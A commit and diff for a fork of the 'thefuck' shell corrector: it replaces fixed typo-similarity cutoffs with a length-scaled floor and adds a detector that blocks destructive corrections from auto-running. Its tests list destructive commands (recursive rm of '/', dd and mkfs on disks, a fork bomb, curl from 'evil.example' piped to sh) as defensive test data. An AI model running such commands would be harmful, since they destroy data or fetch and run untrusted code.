Scale typo gates with length and refuse destructive auto-runs
Similarity requirements now scale with word length (typo.floor_ok: single edit or ratio >= max(0.6, 1 - 3/max(len,3)), first char kept; zsh spdist / nushell did_you_mean derivation in the source). The fixed-cutoff gates are swapped: history_resolver._similar -> floor_ok with the divergence cap deleted (every diverged token is gated per-token, not counted), learned.guess_from_path and the help resolver candidate gates -> floor_ok, so _TOKEN_CUTOFF, _MAX_DIVERGED, GUESS_CUTOFF, _CUTOFF and their difflib plumbing are gone; unique-survivor, no-op and which/'/'/'.'/flag guards kept. New thefuck/danger.py is_dangerous(script) parses via bashlex directly and fail-safes to True when bashlex is unavailable or the script refuses to parse (the flat fallback is head-only); with a tree it matches rm/rmdir recursive flags, dd/mkfs*/shred/wipefs/ mkswap heads, git push --force/-f (not --force-with-lease), chmod/chown -R with a 777-style mode, kill -9, fork-bomb shapes, pipe-to-shell tails and file redirects outside /tmp and /dev/null. fix_command checks it before ANY auto-run, learned-db exact hits included: dangerous candidates fall through to rules+ask. Test-migration inventory (authorized semantic inversions): - tests/resolvers/test_history_resolver.py: declines-3-diverged -> corrects (cap deleted); 0.8-cutoff boundary arithmetic re-based to floor boundaries (len-3 0.6 / len-10 0.7 / len-30 0.9); _TOKEN_CUTOFF import removed with the constant; declines-just- below-cutoff re-based to the len-20 floor 0.85; added a 17-char below-floor decline. - tests/test_learned.py: returns-none-below-cutoff re-based to a same-first-char below-floor pair (0.6 < len-10 floor 0.7); added a ratio-0.7 acceptance pin; single-edit-under-cutoff renamed. - tests/resolvers/test_help_resolver.py: transposition comments re-based to the floor; added a below-floor subcommand decline. - tests/entrypoints/test_fix_command_learned.py: exact-learned-wins fixture's 'git push --force' correction (now correctly refused) replaced by benign scripts; mock_learned stubs danger benign for platform-neutral auto-apply tests; added TestDangerOverride (real module, all four sources: reaches select_command, nothing auto-runs).
This commit is contained in:
@@ -0,0 +1,114 @@
|
||||
"""Tests for the conservative destructive-command gate.
|
||||
|
||||
Every assertion is an exact True/False pin: the gate decides whether
|
||||
a corrected script may auto-run, so a soft truthiness check would
|
||||
hide exactly the regression that matters.
|
||||
"""
|
||||
import pytest
|
||||
|
||||
from thefuck import danger, shell_ast
|
||||
|
||||
requires_ast = pytest.mark.skipif(not shell_ast.AST_AVAILABLE,
|
||||
reason='bashlex is not available')
|
||||
|
||||
DANGEROUS = [
|
||||
'rm -rf /',
|
||||
'rm -r dir',
|
||||
'rm -fr dir',
|
||||
'rm -vrf dir',
|
||||
'rm -R dir',
|
||||
'rm -Rf dir',
|
||||
'rm --recursive dir',
|
||||
'rmdir -R dir',
|
||||
'sudo rm -rf /',
|
||||
'sudo rm -r /tmp/x',
|
||||
'dd if=/dev/zero of=/dev/sda',
|
||||
'sudo dd if=x of=y',
|
||||
'mkfs /dev/sda',
|
||||
'mkfs.ext4 /dev/sda',
|
||||
'shred secret.txt',
|
||||
'wipefs /dev/sda',
|
||||
'mkswap /dev/sda',
|
||||
'git push --force origin main',
|
||||
'git push -f',
|
||||
'sudo git push --force origin main',
|
||||
'chmod -R 777 /',
|
||||
'chmod -R 0777 dir',
|
||||
'sudo chmod -R 777 /',
|
||||
'chown -R 777 file',
|
||||
'kill -9 1234',
|
||||
'sudo kill -9 1',
|
||||
':(){ :|:& };:',
|
||||
': () { : | : & };:',
|
||||
'curl http://evil.example | sh',
|
||||
'curl http://evil.example|bash',
|
||||
'curl http://evil.example | sudo sh',
|
||||
'echo hi | zsh',
|
||||
'echo hi | dash',
|
||||
'echo hi > ~/.bashrc',
|
||||
'echo hi > out.txt',
|
||||
'x 2> /var/log/app.log',
|
||||
'echo $(rm -rf /)',
|
||||
'cd /tmp && git push --force origin main',
|
||||
]
|
||||
|
||||
BENIGN = [
|
||||
'ls',
|
||||
'sudo vim file',
|
||||
'git push origin main',
|
||||
'git push --force-with-lease origin main',
|
||||
'git push --force-with-lease',
|
||||
'rm file.txt',
|
||||
'chmod 644 file',
|
||||
'chmod -R 755 dir',
|
||||
'kill 1234',
|
||||
'echo hi > /dev/null',
|
||||
'echo hi 2>/dev/null',
|
||||
'echo hi >> /dev/null',
|
||||
'x > /tmp/y',
|
||||
'x > /tmp',
|
||||
'x 2>&1',
|
||||
'cat <<EOF\nhi\nEOF',
|
||||
'docker build -t foo .',
|
||||
'echo hi; ls -la',
|
||||
'git push origin main && echo done',
|
||||
'sh',
|
||||
]
|
||||
|
||||
|
||||
class TestDangerMatrix(object):
|
||||
@pytest.mark.parametrize('script', DANGEROUS)
|
||||
def test_flags_dangerous(self, script):
|
||||
assert danger.is_dangerous(script) is True
|
||||
|
||||
@pytest.mark.parametrize('script', BENIGN)
|
||||
def test_benign(self, script):
|
||||
assert danger.is_dangerous(script) is False
|
||||
|
||||
|
||||
class TestParseDegradation(object):
|
||||
def test_unparseable_compound_rm_is_dangerous(self):
|
||||
# bashlex refuses the arithmetic expansion; the flat
|
||||
# fallback is head-only and would miss the rm, so the whole
|
||||
# gate fail-safes to asking.
|
||||
assert danger.is_dangerous('echo $((1+1)); rm -rf /') is True
|
||||
|
||||
def test_unparseable_script_fail_safes(self):
|
||||
assert danger.is_dangerous('case $x in a) rm file;; esac') is True
|
||||
|
||||
def test_empty_script_fail_safes(self):
|
||||
assert danger.is_dangerous('') is True
|
||||
|
||||
def test_ast_unavailable_fail_safes(self, monkeypatch):
|
||||
monkeypatch.setattr(shell_ast, 'AST_AVAILABLE', False)
|
||||
assert danger.is_dangerous('ls') is True
|
||||
|
||||
|
||||
class TestCompoundScripts(object):
|
||||
def test_whitelisted_redirect_does_not_mask_rm(self):
|
||||
assert danger.is_dangerous(
|
||||
'echo hi > /dev/null; rm -rf /') is True
|
||||
|
||||
def test_all_redirects_whitelisted_is_benign(self):
|
||||
assert danger.is_dangerous(
|
||||
'echo hi > /dev/null && x > /tmp/y') is False
|
||||
@@ -1,5 +1,6 @@
|
||||
import pytest
|
||||
from mock import Mock, patch
|
||||
from thefuck import danger as real_danger
|
||||
from thefuck.entrypoints.fix_command import fix_command
|
||||
from thefuck.types import CorrectedCommand
|
||||
|
||||
@@ -8,6 +9,14 @@ from thefuck.types import CorrectedCommand
|
||||
def mock_learned(monkeypatch):
|
||||
state = {"correction": None, "guess": None, "history": None,
|
||||
"help": None, "recordings": [], "calls": []}
|
||||
# The real gate fail-safes to True without bashlex, which would
|
||||
# make every auto-apply test platform-dependent; the danger
|
||||
# override tests re-install the real module.
|
||||
fake_danger = Mock()
|
||||
fake_danger.is_dangerous.return_value = False
|
||||
monkeypatch.setattr(
|
||||
"thefuck.entrypoints.fix_command.danger", fake_danger
|
||||
)
|
||||
|
||||
def fake_get_correction(script):
|
||||
state["calls"].append("correction")
|
||||
@@ -121,7 +130,7 @@ class TestGuessAutoApply(object):
|
||||
def test_exact_learned_wins_over_guess(
|
||||
self, mock_learned, known_args, settings, monkeypatch
|
||||
):
|
||||
mock_learned["correction"] = "git push --force origin main"
|
||||
mock_learned["correction"] = "git push origin dev"
|
||||
mock_learned["guess"] = "git push origin main"
|
||||
|
||||
with patch("thefuck.types.CorrectedCommand.run"), patch(
|
||||
@@ -129,7 +138,7 @@ class TestGuessAutoApply(object):
|
||||
) as mock_show:
|
||||
fix_command(known_args)
|
||||
shown_cmd = mock_show.call_args[0][0]
|
||||
assert shown_cmd.script == "git push --force origin main"
|
||||
assert shown_cmd.script == "git push origin dev"
|
||||
assert mock_learned["recordings"] == []
|
||||
|
||||
|
||||
@@ -214,6 +223,40 @@ class TestResolverAutoApply(object):
|
||||
]
|
||||
|
||||
|
||||
class TestDangerOverride(object):
|
||||
@pytest.mark.parametrize(
|
||||
"hit_source", ["correction", "history", "guess", "help"])
|
||||
def test_dangerous_hit_asks_instead_of_auto_running(
|
||||
self, mock_learned, known_args, settings, monkeypatch, hit_source
|
||||
):
|
||||
# The real gate: a danger-flagged candidate from ANY source —
|
||||
# a seeded learned-db exact hit included — reaches
|
||||
# select_command and nothing auto-runs. The abort via the
|
||||
# mocked selection keeps the pin free of terminal IO.
|
||||
monkeypatch.setattr(
|
||||
"thefuck.entrypoints.fix_command.danger", real_danger
|
||||
)
|
||||
mock_learned[hit_source] = "rm -rf /"
|
||||
select = Mock(return_value=None)
|
||||
monkeypatch.setattr(
|
||||
"thefuck.entrypoints.fix_command.get_corrected_commands",
|
||||
lambda _: iter([]),
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"thefuck.entrypoints.fix_command.select_command", select
|
||||
)
|
||||
|
||||
with patch("thefuck.types.CorrectedCommand.run") as mock_run, patch(
|
||||
"thefuck.logs.show_corrected_command"
|
||||
) as mock_show:
|
||||
with pytest.raises(SystemExit):
|
||||
fix_command(known_args)
|
||||
|
||||
select.assert_called_once()
|
||||
mock_run.assert_not_called()
|
||||
mock_show.assert_not_called()
|
||||
|
||||
|
||||
class TestRecordOnSelection(object):
|
||||
def test_records_user_selection(
|
||||
self, mock_learned, known_args, settings, monkeypatch
|
||||
|
||||
@@ -96,21 +96,31 @@ def test_returns_correction_when_subcommand_misspelled(
|
||||
|
||||
|
||||
def test_corrects_transposed_subcommand(fake_bin, argv_log, enable_cache):
|
||||
# bulid -> build scores 2 * 4 / 10 = 0.8, right at the cutoff,
|
||||
# and is also a single transposition (li <-> il).
|
||||
# bulid -> build is a single adjacent transposition (li <-> il),
|
||||
# so the length-scaled floor admits it on the single-edit path.
|
||||
fake_bin('fake')
|
||||
assert get_help_correction('fake bulid .') == 'fake build .'
|
||||
assert typo.single_edit('bulid', 'build')
|
||||
|
||||
|
||||
def test_corrects_transposition_under_cutoff(
|
||||
def test_corrects_transposition_via_single_edit(
|
||||
fake_bin, argv_log, enable_cache):
|
||||
# psuh -> push scores 2 * 3 / 8 = 0.75, under the cutoff, so only
|
||||
# the first-char-equal single-edit match fixes it.
|
||||
# psuh -> push scores 2 * 3 / 8 = 0.75, so only the single-edit
|
||||
# path of the floor admits it.
|
||||
fake_bin('fake', commands=('push', 'build', 'clean'))
|
||||
assert get_help_correction('fake psuh x') == 'fake push x'
|
||||
|
||||
|
||||
def test_declines_subcommand_below_scaled_floor(
|
||||
fake_bin, argv_log, enable_cache):
|
||||
# 10-char subcommand vs the listed 'burnno1234' scores
|
||||
# 2 * 6 / 20 = 0.6, under the len-10 floor 0.7, and is not a
|
||||
# single edit; no listed subcommand is close enough.
|
||||
fake_bin('fake', commands=('burnno1234', 'build', 'clean'))
|
||||
assert get_help_correction('fake burnnoabcd') is None
|
||||
assert _spawned(argv_log) == ['--help']
|
||||
|
||||
|
||||
def test_respawns_when_binary_mtime_changes(
|
||||
fake_bin, argv_log, enable_cache):
|
||||
path = fake_bin('fake')
|
||||
|
||||
@@ -5,12 +5,13 @@ import pytest
|
||||
from thefuck import shell_ast, typo
|
||||
from thefuck.resolvers.history_resolver import (
|
||||
_CANDIDATES,
|
||||
_TOKEN_CUTOFF,
|
||||
_prefilter,
|
||||
get_history_correction,
|
||||
)
|
||||
from thefuck.types import Command
|
||||
|
||||
_LEN30 = 'abcdefghijklmnopqrstuvwxyz0123'
|
||||
|
||||
pytestmark = pytest.mark.usefixtures('no_memoize')
|
||||
|
||||
requires_ast = pytest.mark.skipif(not shell_ast.AST_AVAILABLE,
|
||||
@@ -44,19 +45,19 @@ def test_corrects_two_diverged_tokens_across_segments(history):
|
||||
|
||||
@requires_ast
|
||||
def test_corrects_transposed_tokens_under_ratio_cutoff(history):
|
||||
# psuh -> push and greo -> grep both score 2 * 3 / 8 = 0.75,
|
||||
# under _TOKEN_CUTOFF, but each is a first-char-equal single
|
||||
# transposition, which the token gate accepts alongside the
|
||||
# ratio.
|
||||
# psuh -> push and greo -> grep each are a first-char-equal
|
||||
# single transposition, which the length-scaled floor accepts
|
||||
# alongside the ratio path.
|
||||
history(['git push | grep -i foo'])
|
||||
command = Command('git psuh | greo -i foo', '')
|
||||
assert get_history_correction(command) == 'git push | grep -i foo'
|
||||
|
||||
|
||||
def test_declines_token_just_below_cutoff(history):
|
||||
def test_declines_token_below_length_scaled_floor(history):
|
||||
# '--ignore-whitespaces' vs '--ignore-all-spaces' scores
|
||||
# 2 * 15 / 39 = 0.769 (under _TOKEN_CUTOFF) AND spans two edits
|
||||
# (pinned below), so even the amended single-edit gate declines.
|
||||
# 2 * 15 / 39 = 0.769, under the len-20 floor 1 - 3/20 = 0.85,
|
||||
# AND spans two edits (pinned in test_typo.py), so every gate
|
||||
# path declines.
|
||||
history(['git diff --ignore-all-spaces HEAD'])
|
||||
command = Command('git diff --ignore-whitespaces HEAD', '')
|
||||
assert get_history_correction(command) is None
|
||||
@@ -64,20 +65,36 @@ def test_declines_token_just_below_cutoff(history):
|
||||
'--ignore-all-spaces')
|
||||
|
||||
|
||||
def test_token_cutoff_boundary_arithmetic():
|
||||
# 20 + 19 chars with 15 matched: 2 * 15 / 39 = 0.769..., i.e.
|
||||
# above the 0.75 the declined flagship typos score but strictly
|
||||
# under _TOKEN_CUTOFF, so the boundary is provably tight.
|
||||
ratio = difflib.SequenceMatcher(
|
||||
None, '--ignore-whitespaces', '--ignore-all-spaces').ratio()
|
||||
assert 0.75 <= ratio < _TOKEN_CUTOFF
|
||||
def test_token_floor_boundary_arithmetic():
|
||||
# Length-scaled token floors pinned at three lengths: max-len 3
|
||||
# -> 0.6, 10 -> 0.7, 30 -> 0.9. Each passing pair sits exactly at
|
||||
# its floor; each declining pair provably below it.
|
||||
assert difflib.SequenceMatcher(
|
||||
None, 'abc', 'abz').ratio() >= 0.6
|
||||
assert typo.floor_ok('abc', 'abz')
|
||||
assert difflib.SequenceMatcher(
|
||||
None, 'abcdefghij', 'abcdefgxyz').ratio() >= 0.7
|
||||
assert typo.floor_ok('abcdefghij', 'abcdefgxyz')
|
||||
assert difflib.SequenceMatcher(
|
||||
None, _LEN30, _LEN30[:27] + '456').ratio() >= 0.9
|
||||
assert typo.floor_ok(_LEN30, _LEN30[:27] + '456')
|
||||
|
||||
|
||||
def test_declines_three_diverged_tokens(history):
|
||||
# Every pair alone passes the token cutoff (0.833, 0.909 and
|
||||
# 0.8), so only the max-diverged gate rejects this candidate.
|
||||
def test_corrects_three_diverged_tokens(history):
|
||||
# Token eligibility is per-token, not counted: each diverged
|
||||
# token only needs to pass the length-scaled floor (single
|
||||
# edits here), so one history line corrects them all.
|
||||
history(['docker status branch build'])
|
||||
command = Command('docker statuz brnch bilud', '')
|
||||
assert get_history_correction(command) == 'docker status branch build'
|
||||
|
||||
|
||||
def test_declines_long_token_below_scaled_floor(history):
|
||||
# 17-char flags with 5 trailing substitutions score ~0.706,
|
||||
# under the len-17 floor 1 - 3/17 ~ 0.824, and the pair is not a
|
||||
# single edit, so the token gate declines the candidate.
|
||||
history(['git diff --flagabcdefhijk'])
|
||||
command = Command('git diff --flagabcdefuvwxy', '')
|
||||
assert get_history_correction(command) is None
|
||||
|
||||
|
||||
|
||||
+20
-7
@@ -149,9 +149,23 @@ class TestGuessFromPath(object):
|
||||
path_bins(executables=['top'])
|
||||
assert learned.guess_from_path('htop') is None
|
||||
|
||||
def test_returns_none_below_cutoff(self, learned, path_bins):
|
||||
path_bins(executables=['grep', 'sed', 'awk'])
|
||||
assert learned.guess_from_path('total') is None
|
||||
def test_returns_none_below_length_scaled_floor(self, learned,
|
||||
path_bins):
|
||||
# 10-char token vs executable sharing only the 6 leading
|
||||
# chars scores 2 * 6 / 20 = 0.6, under the len-10 floor 0.7,
|
||||
# and the pair is not a single edit.
|
||||
path_bins(executables=['burnnoabcd'])
|
||||
assert learned.guess_from_path('burnno1234 file') is None
|
||||
|
||||
def test_guesses_via_ratio_above_scaled_floor(self, learned,
|
||||
path_bins):
|
||||
# Three trailing substitutions score exactly the len-10
|
||||
# floor 0.7 — a pair the old fixed 0.8 cutoff declined — and
|
||||
# no other executable shares the first char, so the ratio
|
||||
# path alone admits the match.
|
||||
path_bins(executables=['abcdefgxyz', 'grep', 'sed'])
|
||||
assert (learned.guess_from_path('abcdefghij file')
|
||||
== 'abcdefgxyz file')
|
||||
|
||||
def test_guesses_after_sudo(self, learned, path_bins):
|
||||
path_bins(executables=['clear', 'grep', 'sed'])
|
||||
@@ -180,11 +194,10 @@ class TestGuessFromPathSegments(object):
|
||||
assert (learned.guess_from_path('gi psuh | gre -i foo')
|
||||
== 'git psuh | grep -i foo')
|
||||
|
||||
def test_fixes_single_edit_typos_under_cutoff(self, learned,
|
||||
path_bins):
|
||||
def test_fixes_single_edit_typos(self, learned, path_bins):
|
||||
# gti -> git scores 2 * 2 / 6 = 0.667 and greo -> grep scores
|
||||
# 2 * 3 / 8 = 0.75, both under GUESS_CUTOFF; each is still a
|
||||
# first-char-equal single edit with one executable match.
|
||||
# 2 * 3 / 8 = 0.75; each is a first-char-equal single edit
|
||||
# with one executable match.
|
||||
path_bins(executables=['git', 'grep', 'sed'])
|
||||
assert (learned.guess_from_path('gti psuh | greo -i foo')
|
||||
== 'git psuh | grep -i foo')
|
||||
|
||||
+59
-1
@@ -1,4 +1,8 @@
|
||||
from thefuck.typo import single_edit
|
||||
from difflib import SequenceMatcher
|
||||
|
||||
from thefuck.typo import floor_ok, single_edit
|
||||
|
||||
_LEN30 = 'abcdefghijklmnopqrstuvwxyz0123'
|
||||
|
||||
|
||||
class TestSubstitution(object):
|
||||
@@ -82,3 +86,57 @@ class TestBoundaries(object):
|
||||
# amended gate still declines it.
|
||||
assert not single_edit('--ignore-whitespaces',
|
||||
'--ignore-all-spaces')
|
||||
|
||||
|
||||
class TestFloorOk(object):
|
||||
def test_len3_floor_passes(self):
|
||||
# max length 3 -> floor max(0.6, 1 - 3/3) = 0.6; the plain
|
||||
# substitution scores 2 * 2 / 6 = 0.667.
|
||||
assert SequenceMatcher(None, 'abc', 'abz').ratio() >= 0.6
|
||||
assert floor_ok('abc', 'abz')
|
||||
|
||||
def test_len3_below_floor_declines(self):
|
||||
# Two substitutions score 0.333, under the 0.6 floor.
|
||||
assert SequenceMatcher(None, 'axx', 'ayy').ratio() < 0.6
|
||||
assert not floor_ok('axx', 'ayy')
|
||||
|
||||
def test_len10_floor_passes(self):
|
||||
# max length 10 -> floor 1 - 3/10 = 0.7; three trailing
|
||||
# substitutions keep 7 matches: exactly 2 * 7 / 20 = 0.7.
|
||||
assert SequenceMatcher(
|
||||
None, 'abcdefghij', 'abcdefgxyz').ratio() >= 0.7
|
||||
assert floor_ok('abcdefghij', 'abcdefgxyz')
|
||||
|
||||
def test_len10_below_floor_declines(self):
|
||||
# Four trailing substitutions score 0.6, under 0.7.
|
||||
assert SequenceMatcher(
|
||||
None, 'abcdefghij', 'abcdefwxyz').ratio() < 0.7
|
||||
assert not floor_ok('abcdefghij', 'abcdefwxyz')
|
||||
|
||||
def test_len30_floor_passes(self):
|
||||
# max length 30 -> floor 1 - 3/30 = 0.9; three trailing
|
||||
# substitutions keep 27 matches: exactly 2 * 27 / 60 = 0.9.
|
||||
assert SequenceMatcher(
|
||||
None, _LEN30, _LEN30[:27] + '456').ratio() >= 0.9
|
||||
assert floor_ok(_LEN30, _LEN30[:27] + '456')
|
||||
|
||||
def test_len30_below_floor_declines(self):
|
||||
# Four trailing substitutions score ~0.867, under 0.9.
|
||||
assert SequenceMatcher(
|
||||
None, _LEN30, _LEN30[:26] + '4567').ratio() < 0.9
|
||||
assert not floor_ok(_LEN30, _LEN30[:26] + '4567')
|
||||
|
||||
def test_single_edit_always_passes(self):
|
||||
assert floor_ok('gti', 'git')
|
||||
assert floor_ok('psuh', 'push')
|
||||
assert floor_ok('clea', 'clear')
|
||||
assert floor_ok('clear', 'clea')
|
||||
|
||||
def test_first_char_mismatch_always_fails(self):
|
||||
# The first-letter guard holds for the ratio path and the
|
||||
# single-edit path alike.
|
||||
assert SequenceMatcher(None, 'abcd', 'zbcd').ratio() >= 0.6
|
||||
assert not floor_ok('abcd', 'zbcd')
|
||||
assert single_edit('abz', 'bbz')
|
||||
assert not floor_ok('abz', 'bbz')
|
||||
assert not floor_ok('ls', 'sl')
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
"""Conservative destructive-command detection for the auto-run gate.
|
||||
|
||||
`is_dangerous(script)` answers True whenever a script must not run
|
||||
without confirmation. Parsing goes through bashlex directly: when
|
||||
bashlex is unavailable or refuses the script the answer is True
|
||||
(fail-safe), because the flat fallback is head-only and would miss
|
||||
compound shapes such as `echo $((1+1)); rm -rf /`.
|
||||
|
||||
False positives (asking more often) are acceptable; false negatives
|
||||
in the listed shapes are not.
|
||||
|
||||
Personal fork only: depends on bashlex (GPL-3+), do not distribute.
|
||||
"""
|
||||
import re
|
||||
|
||||
from . import shell_ast
|
||||
|
||||
_RECURSIVE_FLAG = re.compile(r'^-[a-zA-Z]*[rR]')
|
||||
_OCTAL_MODE = re.compile(r'^[0-7]{3,4}$')
|
||||
_PIPE_SHELLS = frozenset(('sh', 'bash', 'zsh', 'dash'))
|
||||
_DESTRUCTIVE_HEADS = frozenset(('dd', 'shred', 'wipefs', 'mkswap'))
|
||||
|
||||
|
||||
def is_dangerous(script):
|
||||
"""Returns True when `script` must be confirmed, never auto-run."""
|
||||
if ':(){' in script or ': () {' in script:
|
||||
return True
|
||||
if not shell_ast.AST_AVAILABLE:
|
||||
return True
|
||||
try:
|
||||
trees = shell_ast.bashlex.parse(script)
|
||||
except shell_ast._FALLBACK_ERRORS:
|
||||
return True
|
||||
collector = _DangerCollector(script)
|
||||
for tree in trees:
|
||||
collector.visit(tree)
|
||||
for words, pipe_tail in collector.commands:
|
||||
if _words_dangerous(words, pipe_tail):
|
||||
return True
|
||||
return _redirects_dangerous(collector.redirect_targets)
|
||||
|
||||
|
||||
def _words_dangerous(words, pipe_tail):
|
||||
"""Matches one command's (sudo-stripped) words against the shapes."""
|
||||
while len(words) > 1 and words[0] == 'sudo':
|
||||
words = words[1:]
|
||||
if not words:
|
||||
return False
|
||||
head, args = words[0], words[1:]
|
||||
if head in ('rm', 'rmdir'):
|
||||
return any(_RECURSIVE_FLAG.match(arg) or arg == '--recursive'
|
||||
for arg in args)
|
||||
if head in _DESTRUCTIVE_HEADS or head.startswith('mkfs'):
|
||||
return True
|
||||
if head == 'git' and args[:1] == ['push']:
|
||||
return any(arg in ('--force', '-f') for arg in args[1:])
|
||||
if head in ('chmod', 'chown'):
|
||||
return (any(_RECURSIVE_FLAG.match(arg) for arg in args)
|
||||
and any(_OCTAL_MODE.match(arg)
|
||||
and set(arg[-3:]) <= set('67') for arg in args))
|
||||
if head == 'kill':
|
||||
return any(arg.startswith('-9') for arg in args)
|
||||
return pipe_tail and head in _PIPE_SHELLS
|
||||
|
||||
|
||||
def _redirects_dangerous(targets):
|
||||
"""Any redirect aimed at a file outside /tmp and /dev/null."""
|
||||
for target in targets:
|
||||
if target == '/dev/null':
|
||||
continue
|
||||
if target == '/tmp' or target.startswith('/tmp/'):
|
||||
continue
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def _unquote(word):
|
||||
if len(word) > 1 and word[0] == word[-1] and word[0] in ('"', "'"):
|
||||
return word[1:-1]
|
||||
return word
|
||||
|
||||
|
||||
def _redirect_target(part):
|
||||
"""Returns a redirect's quote-stripped file target, or None.
|
||||
|
||||
Heredocs are not file overwrites, and fd duplications like
|
||||
`2>&1` differ structurally: bashlex hands them a plain string
|
||||
where file targets are word nodes.
|
||||
"""
|
||||
if part.type.startswith('<<'):
|
||||
return None
|
||||
output = part.output
|
||||
if not isinstance(output, _NODE_CLASS):
|
||||
return None
|
||||
return _unquote(output.word)
|
||||
|
||||
|
||||
if shell_ast.AST_AVAILABLE:
|
||||
_NODE_CLASS = shell_ast.bashlex.ast.node
|
||||
|
||||
class _DangerCollector(shell_ast.bashlex.ast.nodevisitor):
|
||||
"""Collects command words and redirect targets from a tree.
|
||||
|
||||
Unlike `shell_ast._SegmentCollector` (which skips redirect
|
||||
parts by design) this visitor keeps their targets, and by
|
||||
descending into command parts it also sees nested commands
|
||||
inside substitutions such as `echo $(rm -rf /)`.
|
||||
"""
|
||||
|
||||
def __init__(self, script):
|
||||
self.script = script
|
||||
self.commands = []
|
||||
self.redirect_targets = []
|
||||
self._pipe_tail_ids = set()
|
||||
|
||||
def visitpipeline(self, node, parts):
|
||||
commands = [part for part in parts
|
||||
if part.kind == 'command']
|
||||
self._pipe_tail_ids.update(
|
||||
id(part) for part in commands[1:])
|
||||
return True
|
||||
|
||||
def visitcommand(self, node, parts):
|
||||
words = []
|
||||
for part in parts:
|
||||
if part.kind == 'word':
|
||||
words.append(_unquote(
|
||||
self.script[part.pos[0]:part.pos[1]]))
|
||||
elif part.kind == 'redirect':
|
||||
target = _redirect_target(part)
|
||||
if target is not None:
|
||||
self.redirect_targets.append(target)
|
||||
self.commands.append(
|
||||
(words, id(node) in self._pipe_tail_ids))
|
||||
return True
|
||||
@@ -2,7 +2,7 @@ from pprint import pformat
|
||||
import os
|
||||
import sys
|
||||
from difflib import SequenceMatcher
|
||||
from .. import logs, types, const
|
||||
from .. import danger, logs, types, const
|
||||
from ..conf import settings
|
||||
from ..corrector import get_corrected_commands
|
||||
from ..exceptions import EmptyCommand
|
||||
@@ -61,6 +61,10 @@ def fix_command(known_args):
|
||||
logs.debug("Corrected from binary help: {}".format(
|
||||
learned_script))
|
||||
record(command.script, learned_script)
|
||||
if learned_script and danger.is_dangerous(learned_script):
|
||||
logs.debug("Refusing to auto-run dangerous correction, "
|
||||
"asking instead: {}".format(learned_script))
|
||||
learned_script = None
|
||||
if learned_script:
|
||||
learned_cmd = types.CorrectedCommand(
|
||||
script=learned_script, side_effect=None, priority=0
|
||||
|
||||
+5
-13
@@ -2,7 +2,6 @@ import atexit
|
||||
import os
|
||||
import shelve
|
||||
import time
|
||||
from difflib import get_close_matches
|
||||
|
||||
from . import logs, shell_ast, typo
|
||||
from .utils import get_all_executables, which
|
||||
@@ -20,9 +19,6 @@ except ImportError:
|
||||
_shelve_open_error = ()
|
||||
|
||||
|
||||
GUESS_CUTOFF = 0.8
|
||||
|
||||
|
||||
class LearnedCorrections(object):
|
||||
def __init__(self):
|
||||
self._db = None
|
||||
@@ -165,15 +161,11 @@ class LearnedCorrections(object):
|
||||
if not token or '/' in token or '.' in token or which(token):
|
||||
continue
|
||||
executables = get_all_executables()
|
||||
# The ratio cutoff underrates transpositions (gti -> git
|
||||
# at 0.667), so same-first-char single edits join the
|
||||
# difflib candidates; exactly one distinct survivor wins.
|
||||
candidates = set(cmd for cmd in get_close_matches(
|
||||
token, executables, n=5, cutoff=GUESS_CUTOFF)
|
||||
if cmd.startswith(token[0]))
|
||||
candidates.update(cmd for cmd in executables
|
||||
if cmd[:1] == token[:1]
|
||||
and typo.single_edit(token, cmd))
|
||||
# Length-scaled floor (single edits and close ratios,
|
||||
# see `typo.floor_ok`); exactly one distinct survivor
|
||||
# wins.
|
||||
candidates = set(cmd for cmd in executables
|
||||
if typo.floor_ok(token, cmd))
|
||||
if len(candidates) != 1:
|
||||
continue
|
||||
replacements.append((start, end, candidates.pop()))
|
||||
|
||||
@@ -16,15 +16,12 @@ Personal fork only: depends on bashlex (GPL-3+), do not distribute.
|
||||
"""
|
||||
import os
|
||||
import subprocess
|
||||
from difflib import get_close_matches
|
||||
|
||||
from thefuck import shell_ast, typo
|
||||
from thefuck.utils import cache, which
|
||||
|
||||
|
||||
_CUTOFF = 0.8
|
||||
_TIMEOUT = 2
|
||||
_MATCHES = 5
|
||||
_SECTION_HEADERS = ('Commands:', 'Management Commands:',
|
||||
'Available Commands:')
|
||||
|
||||
@@ -72,15 +69,10 @@ def _token_replacement(word, binary_name, binary_path):
|
||||
token, start, end = word
|
||||
if token in commands:
|
||||
return None
|
||||
# Same gate shape as learned.guess_from_path: difflib candidates
|
||||
# plus same-first-char single edits (transpositions score under
|
||||
# the cutoff), exactly one distinct survivor.
|
||||
matches = set(match for match in get_close_matches(
|
||||
token, commands, n=_MATCHES, cutoff=_CUTOFF)
|
||||
if match.startswith(token[0]))
|
||||
matches.update(command for command in commands
|
||||
if command[:1] == token[:1]
|
||||
and typo.single_edit(token, command))
|
||||
# Same gate shape as learned.guess_from_path: length-scaled
|
||||
# floor (see `typo.floor_ok`), exactly one distinct survivor.
|
||||
matches = set(command for command in commands
|
||||
if typo.floor_ok(token, command))
|
||||
if len(matches) != 1:
|
||||
return None
|
||||
return start, end, matches.pop()
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
"""History-similarity resolver with correction-only auto-run gates.
|
||||
|
||||
Corrects a failed script from a structurally-aligned history command
|
||||
when exactly one candidate differs in at most a couple of highly
|
||||
similar tokens; anything looser or ambiguous is declined so the
|
||||
existing `history` rule keeps offering choices instead of auto-running.
|
||||
when exactly one candidate differs only in tokens that each pass a
|
||||
length-scaled similarity floor (`typo.floor_ok`); anything looser or
|
||||
ambiguous is declined so the existing `history` rule keeps offering
|
||||
choices instead of auto-running.
|
||||
"""
|
||||
import difflib
|
||||
|
||||
@@ -12,8 +13,6 @@ from thefuck.utils import get_valid_history_without_current
|
||||
|
||||
_PREFILTER_CUTOFF = 0.5
|
||||
_CANDIDATES = 10
|
||||
_MAX_DIVERGED = 2
|
||||
_TOKEN_CUTOFF = 0.8
|
||||
|
||||
|
||||
def get_history_correction(command):
|
||||
@@ -57,28 +56,13 @@ def _prefilter(script, history):
|
||||
return [line for _, line in scored[:_CANDIDATES]]
|
||||
|
||||
|
||||
def _similar(token, candidate_token):
|
||||
"""Returns True when a diverged token pair passes the similarity gate.
|
||||
|
||||
The ratio cutoff accepts substitutions; `single_edit` adds the
|
||||
adjacent transpositions the ratio underrates (psuh -> push at
|
||||
0.75) while keeping every two-edit pair out. The first-char
|
||||
equality keeps the single-edit path as narrow as the typo
|
||||
intent: a slipped key, not a different word.
|
||||
"""
|
||||
return (difflib.SequenceMatcher(
|
||||
